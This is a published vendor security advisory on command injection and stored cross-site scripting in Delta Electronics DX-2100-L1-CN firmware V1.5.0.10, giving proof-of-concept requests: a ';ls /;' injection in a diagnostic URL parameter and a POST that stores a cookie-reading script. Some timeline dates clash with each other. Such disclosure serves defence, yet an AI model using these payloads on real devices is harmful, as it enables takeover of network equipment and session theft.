CyberDanube Security Research 20221130-0 | Multiple Vulnerabilities in Delta Electronics DX-2100-L1-CN

[Thomas Weber <t.weber () cyberdanube com>]

CyberDanube Security Research 20221130-0
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               title| Multiple Vulnerabilities
             product| Delta Electronics DX-2100-L1-CN
  vulnerable version| V1.5.0.10
       fixed version| V1.5.0.12
          CVE number| -
              impact| High
            homepage| https://www.deltaww.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com
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Vendor description
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"Delta, founded in 1971, is a global provider of power and thermal 
management
solutions. Its mission statement, "To provide innovative, clean and energy
-efficient solutions for a better tomorrow," focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and 
automation,
Delta's business categories include Power Electronics, Automation, and
Infrastructure."

Source: https://www.deltaww.com/en-US/about/aboutProfile


Vulnerable versions
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DX-2100-L1-CN / V1.5.0.10


Vulnerability overview
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1) Authenticated Command Injection
An authenticated command injection has been identified in the web 
configuration
service of the device. It can be used to execute system commands on the 
OS from
the device in the context of the user "root". Therefore, a full 
compromization
of the device is possible by having credentials for the web service only.

2) Stored Cross-Site Scripting
A stored cross-site scripting vulnerability has been identified in the 
function
"net diagnosis" on the device's web configuration service. This can be
exploited in the context of a victim's session.


Proof of Concept
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1) Authenticated Command Injection
The parameter "diagnose_address" contains the payload ";ls /;", which 
basically
prints the content of the root directory to the serial terminal of the 
device.

http://192.168.3.150/lform/net_diagnose?action=diagnose&diagnose_type=0&diagnose_address=;ls%20/;

The output can be seen in the context of a virtualized firmware clone, 
as used
to find this vulnerability, but is usually invisible to a customer. 
Therefore,
a more visible payload may be commands that interact via the network, like
";ping 192.168.0.10;". This command will ping a device on the 
corresponding IP
address within the local network.

2) Stored Cross-Site Scripting
The following code prints the current cached cookies of a user's session 
to the
screen. The JavaScript code will be stored on the device permanently.
===============================================================================
POST /lform/urlfilter?action=save HTTP/1.1
Host: 192.168.3.150
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Connection: keep-alive
Cookie: language=en_US; userindex=1; loginexpire=1648630746607; session=30

lan_ipaddr=192.168.5.5&lan_netmask=255.255.255.0&src_addr_start=&src_addr_end=&editnum=0&bfilter_urllist=0&url_addr=<script>alert(document.cookie)</script>&src_addr_type=0&filter_state=1
===============================================================================

The vulnerabilities were manually verified on an emulated device by 
using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
-------------------------------------------------------------------------------
Update to firmware version V1.5.0.12.

Workaround
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None


Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends Delta Electronics customers to upgrade the 
firmware to
the latest version available.


Contact Timeline
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2022-08-02: Contacting Delta Electronics.
2022-08-10: Vendor requested the advisory without encryption; Sent 
advisory to
            Delta Electronics.
2022-08-16: Security contact asked few questions regarding responsible
            disclosure; Sent answers.
2022-08-30: Asked for an update.
2022-09-01: Vendor responded, that they will need more time to resolve the
            issues; Provided additional 30 days (until 2022-11-02) for 
patching.
2022-10-11: Asked for an update.
2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted
            release date to this date.
2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted 
advisory
            release date to the same day.
2022-10-17: Asked for an update regarding the release; No answer.
2022-10-18: Asked for an update and shifted release date to 2022-10-22.
2022-10-19: Vendor responded, that there were problems at releasing the 
patch.
            Contact stated, that the patch will delay until end of 
November.
2022-10-21: Asked vendor for a concrete release date; No answer.
2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors
            website.
2022-10-30: Vendor confirmed fixes. Coordinated release of security 
advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022

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